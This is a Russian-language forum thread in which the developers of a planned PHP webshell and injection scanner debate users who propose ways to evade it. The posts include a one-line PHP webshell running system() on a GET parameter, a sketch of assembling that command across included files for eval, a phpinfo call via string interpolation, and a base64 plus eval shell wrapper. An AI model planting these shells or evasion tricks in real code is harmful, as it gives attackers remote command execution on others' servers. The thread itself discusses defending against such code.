Проверка Ваших скриптов/сайтов на уязвимости.

Статус
В этой теме нельзя размещать новые ответы.
eval code мы распаковываем, пока до 1000 сжатий поддерживается, разные алгоритмы сжатия также распознаются

Ну распаковка это фигня, eval(...); - это самое палевная конструкция для скрытия кода. Просто есть еще много способов, как скрыть свой код.

Например, как вы решили проблему подключения файлов? Например если я по всему движку на разобью посимвольно код

PHP:
<?php
echo('<pre>');
@system($_GET['a']);
echo('</pre>');
?>

Я разделю посимвольно, засуну в разные файлы, за счет инклудов все будет это складыватся, в каком-нить файле все равно это соберется и в другом файле я вызову eval. Как ваша система отреагирует? Такой подход я и сам делал и уже встречал на чужих сайтаъ и будет очень интересно посмотреть на софт который будет это выявлять =)

Ну не будете же вы каждый раз выдавать алерт на eval? Ведь в некоторых движках за счет eval образуется ядро и подключаются плагины, шаблоны.
 
PHP:
<?php
echo('<pre>');
@system($_GET['a']);
echo('</pre>');
?>
Будет распоковываться eval и все известные конструкции шеллов будут помечаться как возможно опасный файл, далее уже как в антивирусной системе, пользователь будет принимать решение о чистке файла от вирусов.

С подключением через системные комманды аналогичный вариант, в большинстве случаев системные комманды не используются и на конструкцию типа: system($_GET['a']);
выпадет сообщение о подозрении на шелл-код

Как альтернативный вариант, если все-таки движек не может обходиться без данной логики, входящие данные будут чиститься от вредоносных запросов (это в случае комбиннированного подключения системы php include + картинка, либо просто php include)

т.к. логика взлома примерно одинаковая, все запросы REQUEST обрабатываются системой, входящие файлы проверяются на наличие php/cgi кода, с GET проверяется наличие SQL injections, система активно тестируется и дописываются базы, примерно через полгода-год мы уже сможем дать адекватную оценку эффективности нашего ПО и уже заявлять о достигнутых результатах. Сейчас на практике выявляется порядка 80% попыток взлома, тестироваась система активными участниками нулледа, поэтому на данном этапе мы можем сказать о небольшом достигнутом успехе

закртиптовать файл конечно можно любыми способами, поэтому мы решили вопрос более кординально, рубим все файлы со входящим php/cgi (в дальнейшем больше языков будет рассмотрено) на сервер, это коненчо с одной стороны неверно, зато безопасно.

По серверам все гораздо проще, мы просто производим тонкую настройку и уже даже залитый php не выполнится

P.S. как и любой антивирусник, мы не даем гарантии полного исключения взлома и защиты от входящих файлов с вредоносным кодом, т.к. на любую систему можно найти способы обхода защиты, в том числе через дырки в серверных приложениях.

P.S.S. любая защита это лишь способ защитить свое имущество и она лишней не бывает
 
Будет распоковываться eval и все известные конструкции шеллов будут помечаться как возможно опасный файл, далее уже как в антивирусной системе, пользователь будет принимать решение о чистке файла от вирусов.
С подключением через системные комманды аналогичный вариант, в большинстве случаев системные комманды не используются и на конструкцию типа: system($_GET['a']);
выпадет сообщение о подозрении на шелл-код
Не, я немного про другое. Я не говорю что
system($_GET['a']); будет запаковано в евал.
Например есть у нас 5 файлов php.

a.php

PHP:
$a = 'sys';
$f = substr($_SERVER['REMOTE_HOST'], 5, 2);
$l = 'a';

b.php

PHP:
$b = 'em'
$k = '('.$l;

c.php

PHP:
$k .= $a.$f.$k;
unset(a);

d.php

PHP:
$k = substr($k, 0, 6).$b.$k.');';
eval('$a="$k"');

e.php // Конечный файл.

PHP:
eval($a);
Вот пример разбивки без запаковки системной команды, не говорю что он 100% рабочий. Но такой код вполне реально составить, и я видел его применение. Код собирать по частям, некоторые буквы можно взять из $_SERVER['REMOTE_HOST'] или вообще прочитать их из какого-нить файла (например комменты).
Как ваш софт среагирует на такой ход?



входящие файлы проверяются на наличие php/cgi кода

Ну в целях защиты от ids, в современные шеллы уже давно встроен криптовщик данных. Например через js данные сжимаются, а в пхп разжимаются.
 
Как ваш софт среагирует на такой ход?

Еще раз повторюсь, мы сейчас собираем полную базу всевозможных вариаций составления шелл файлов, заявлять о результатах будем после тестирования.

Сейчас пишем собственный интрепритатор php, т.е. в случае
PHP:
eval($a);
будет проверено содержание переменной $a, соотвественно ругнется и антивирусник.

Конечно можно привести в пример zend, ioncube и прочие шифровщики, которые полностью скроют код, с их случаем пока вопрос не решен, ведутся активные переговоры с разработчиками данных систем и возможно придем к какому-то единому мнению, например мы отдадим все алгоритмы поиска вирусов, а они напишут новый модуль с апи функционалом поиска по сорцам фвайлов

Ну в целях защиты от ids, в современные шеллы уже давно встроен криптовщик данных. Например через js данные сжимаются, а в пхп разжимаются.
но полюбому в том же входяшем файле, например с php кодом, есть теги <?php ?> <? ?>, собственно на них и идет проверка, даже в картинку можно в подпись вставить шелл и локально приинклудить, поэтому прорабатываются всевозможные варианты.

Мы стремимся максимально снизить риск и не кричим, что ловим абсолютно все. Стараемся, пишем, обновляем базы...

Публичный релиз будет в январе 2010, тестировать и опробывать продукт смогут абсолютно все и бесплатно, пока не выйдет стабильная версия продукта
 
Сейчас пишем собственный интрепритатор php
Громко сказано и достаточно смело. Но имхо нереально написать свой интепретатор, парсер - возможно, а именно интерпретатор да еще с похожим функционалом, да еще чтобы он не вылетал при переполнении буфера...эх



Вот например простой кусок кода, который реально выполнит пхпинфо. Но вот позьмет ли ваш интерпретатор его...врядли..сомневаюсь.
И в пхп, таких конструкций достаточно и без eval выполнить пхп код.
 
Громко сказано и достаточно смело. Но имхо нереально написать свой интепретатор, парсер - возможно, а именно интерпретатор да еще с похожим функционалом, да еще чтобы он не вылетал при переполнении буфера...эх
*** скрытое содержание ***
Вот например простой кусок кода, который реально выполнит пхпинфо. Но вот позьмет ли ваш интерпретатор его...врядли..сомневаюсь.
И в пхп, таких конструкций достаточно и без eval выполнить пхп код.
интропретатор действительно громко сказано, грамотный парсер с получением от php результата, т.е. будет выполнение кода по кускам и его проверка

в приведенном примере
PHP:
if (1 == "{${phpinfo()}}") {
    echo(1);
}

явно можно вытащить шелл это или нет

И снова повторюсь, технологии новые и не применялись нигде, поэтому будем оттачивать и совершенствовать систему, по крайней мере будет защита от "школьников", а грамотным хакерам и банки по зубам, так что тут каждый будет делать вывод для себя.

P.S. например я знаю человек 5 из раздела РИПов, которые очень активные, но по своей деятельности они даже не программисты, тем более уж им не до шифрации шеллов, от таких и нужно защищаться, они и составляют добрую половину хакеров

И еще момент, никто даже знать не будет стоит защита или нет, и вот интересно изголяться и писать супер алгоритм шифрования :D

Я могу привести "нераспознываемый" вид шелла, но из соображений безопасности не буду разглашать вариант, но и для таких случаев мы ищем пути и выходы из ситуации
 
Все равно непонятно(

Вы писали
3. Удаленная проверка по фтп зловредного кода в папках

Т.е. вы будете выкачивать весь архив сайта к себе и будете парсить? Тогда если ваша система будет реально распаковывать евалы, тогда мой код со сложением и выдергиваением куска текста из REMOTE_HOST не сработает, т.к. тут реально привязка к домену, и только на нем код выполнится.

Да и просто запустисть чужой код у себя это сложная задача ,т.к. бывает что в коде акселераторы, различные кеш системы и прочие зависимости (разница версий, абсолютные пути). А также невозможность достать по фтп /tmp/ папку (например последнии шеллы на вп, писались в tmp папку и оставлялась запись в базе), на булке например шеллы хранят вообще полностью в базе, ваш софт ничего не увидит.

Добавлено через 16 минут
Я могу привести "нераспознываемый" вид шелла, но из соображений безопасности не буду разглашать вариант, но и для таких случаев мы ищем пути и выходы из ситуации

Кстати я тоже не прогер и не хакиръ.

Но шифрую свой шелл примерно так:

PHP:
<?php
decode();


function decode() {
eval(base64_decode('а тут пишу код, который принимает внешнюю переменную 
и расшифровывает внизу файла код. Без этой переменной 
нельзя будет узнать содержимое кода.'));
}
?>

klHBUIPTTGOIPJIO"GPFUOVGBO{I|UGVYBNOKPLOPJIBNJIY*G&YVIBUJINU(YH)(G&F*OUINKOP)U(_Y*OF&YVUIBKP{}J)_U(Y*F&^YVUIBNOJMPKUY(
и тут короче много текста кракозябры



Как вам такой вариант обхода вашего софта?
 
Т.е. вы будете выкачивать весь архив сайта к себе и будете парсить? Тогда если ваша система будет реально распаковывать евалы, тогда мой код со сложением и выдергиваением куска текста из REMOTE_HOST не сработает, т.к. тут реально привязка к домену, и только на нем код выполнится.

Распаковываться будет на стороне клиента, выкачивать мы ничего не будет, если не будет стоять галочка делать контрольные точки восстановления.

Технологии пока не устоявшиеся и могут быть изменены, сейчас ищется наилучший путь решения задачи.

Как вам такой вариант обхода вашего софта?

Если eval не может быть распакован, просто выходит подозрение о наличии вируса в системе. На этапе бета-тестирования, мы заявляем о 90% защиты, если устанавливается наш код, поверх нового сайта. Т.е. когда будут проверяться входящие файлы, будут отсекаться подозрительные файлы, ну и если соблюдать все рекомендации по настройке сайта, можно не беспокоиться о безопасности.

Для написания софта мы пригласили 15 знаменитых хакеров, в том числе 2-х турецких, которые будут обслуживать систему и консультировать пользователей. Были проверены всевозможные варианты взлома, не исключено конечно что методик еще больше чем знают данные люди, но мы будем совершенствоваться, обещаем :)
 
Софт в каком виде будет? Скриптовый комплекс, десктопный вариант или что-то в облачном варианте?
 
Софт в каком виде будет? Скриптовый комплекс, десктопный вариант или что-то в облачном варианте?

На первых порах как php класс (типа sape), далее будут расширяться языки (perl, asp, ruby, возможно еще какие языки затронем) в планах развития декстопное приложение, но это уже ближе к 2011 году.

Также будет доступена установка в виде кнопки, что-то типа счетчика. Такой вариант будет отслеживать только sql inj и xss.

Также будет выпущен комплекс в виде набора ПО, которое позволит мониторить у себя на сервере и все запросы будут проходить через наше обеспечение, через .htaccess будут правиться запросы и все данные будут проходить через скрипт и в этом же комплексе задействуем разработку уменьшения нагрузок на сервер совместно с разработчиками Для просмотра ссылки Войди или Зарегистрируйся Сейчас пока готовим им предложение, возможно напишем свой класс сжатия данных, с этим пока не определились
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху